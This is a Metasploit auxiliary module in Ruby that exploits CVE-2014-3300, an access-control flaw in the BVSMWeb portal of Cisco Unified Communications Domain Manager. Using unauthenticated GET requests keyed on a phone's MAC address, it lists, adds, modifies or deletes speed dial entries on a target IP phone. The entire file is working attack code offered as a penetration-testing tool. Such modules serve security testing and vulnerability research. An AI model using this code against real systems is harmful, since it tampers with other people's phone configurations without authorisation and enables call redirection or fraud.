Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool',
      'Description'   => %q{
        The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
        (CDM), before version 10, doesn't implement access control properly, which allows remote
        attackers to modify user information. This module exploits the vulnerability to make
        unauthorized speed dial entity manipulations.
      },
      'Author'        => 'fozavci',
      'References'    =>
        [
          ['CVE', '2014-3300'],
          ['BID', '68331']
        ],
      'License'       => MSF_LICENSE,
      'Actions'       =>
        [
          [ 'List',   { 'Description' => 'Getting the speeddials for the MAC address' } ],
          [ 'Modify', { 'Description' => 'Modifying a speeddial for the MAC address' } ],
          [ 'Add',    { 'Description' => 'Adding a speeddial for the MAC address' } ],
          [ 'Delete', { 'Description' => 'Deleting a speeddial for the MAC address' } ]
        ],
      'DefaultAction'  => 'List'
    ))

    register_options(
    [
      OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
      OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
      OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']),
      OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']),
      OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']),
    ])
  end

  def run

    case action.name.upcase
      when 'MODIFY'
        modify
      when 'DELETE'
        delete
      when 'ADD'
        add
      when 'LIST'
        list
    end

  end

  def send_rcv(uri, vars_get)
    uri = normalize_uri(target_uri.to_s, uri.to_s)
    res = send_request_cgi(
      {
        'uri'    => uri,
        'method' => 'GET',
        'vars_get' => vars_get
      })

    if res && res.code == 200 && res.body && res.body.to_s =~ /Speed [D|d]ial/
      return Exploit::CheckCode::Vulnerable, res
    else
      print_error("Target appears not vulnerable!")
      return Exploit::CheckCode::Safe, res
    end
  end

  def parse(res)
    doc = REXML::Document.new(res.body)
    names = []
    phones = []

    list = doc.root.get_elements('DirectoryEntry')
    list.each do |lst|
      xlist = lst.get_elements('Name')
      xlist.each {|l| names << "#{l[0]}"}
      xlist = lst.get_elements('Telephone')
      xlist.each {|l| phones << "#{l[0]}" }
    end

    if names.size > 0
      names.size.times do |i|
        info = ''
        info << "Position: #{names[i].split(":")[0]}, "
        info << "Name: #{names[i].split(":")[1]}, "
        info << "Telephone: #{phones[i]}"

        print_good("#{info}")
      end
    else
      print_status("No Speed Dial detected")
    end
  end

  def list
    mac = datastore['MAC']

    print_status("Getting Speed Dials of the IP phone")
    vars_get = {
      'device' => "SEP#{mac}"
    }

    status, res = send_rcv('speeddials.cgi', vars_get)
    parse(res) unless status == Exploit::CheckCode::Safe
  end

  def add
    mac = datastore['MAC']
    name = datastore['NAME']
    position = datastore['POSITION']
    telno = datastore['TELNO']

    print_status("Adding Speed Dial to the IP phone")
    vars_get = {
      'name' => "#{name}",
      'telno' => "#{telno}",
      'device' => "SEP#{mac}",
      'entry' => "#{position}",
      'mac' => "#{mac}"
    }
    status, res = send_rcv('phonespeedialadd.cgi', vars_get)

    if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
      print_good("Speed Dial #{position} is added successfully")
    elsif res && res.body && res.body.to_s =~ /exist/
      print_error("Speed Dial is exist, change the position or choose modify!")
    else
      print_error("Speed Dial couldn't add!")
    end
  end

  def delete
    mac = datastore['MAC']
    position = datastore['POSITION']

    print_status("Deleting Speed Dial of the IP phone")

    vars_get = {
      'entry' => "#{position}",
      'device' => "SEP#{mac}"
    }

    status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)

    if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
      print_good("Speed Dial #{position} is deleted successfully")
    else
      print_error("Speed Dial is not found!")
    end
  end

  def modify
    mac = datastore['MAC']
    name = datastore['NAME']
    position = datastore['POSITION']
    telno = datastore['TELNO']

    print_status("Deleting Speed Dial of the IP phone")

    vars_get = {
      'entry' => "#{position}",
      'device' => "SEP#{mac}"
    }

    status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)

    if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
      print_good("Speed Dial #{position} is deleted successfully")
      print_status("Adding Speed Dial to the IP phone")

      vars_get = {
        'name' => "#{name}",
        'telno' => "#{telno}",
        'device' => "SEP#{mac}",
        'entry' => "#{position}",
        'mac' => "#{mac}"
      }

      status, res = send_rcv('phonespeedialadd.cgi', vars_get)

      if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
        print_good("Speed Dial #{position} is added successfully")
      elsif res && res.body =~ /exist/
        print_error("Speed Dial is exist, change the position or choose modify!")
      else
        print_error("Speed Dial couldn't add!")
      end
    else
      print_error("Speed Dial is not found!")
    end
  end
end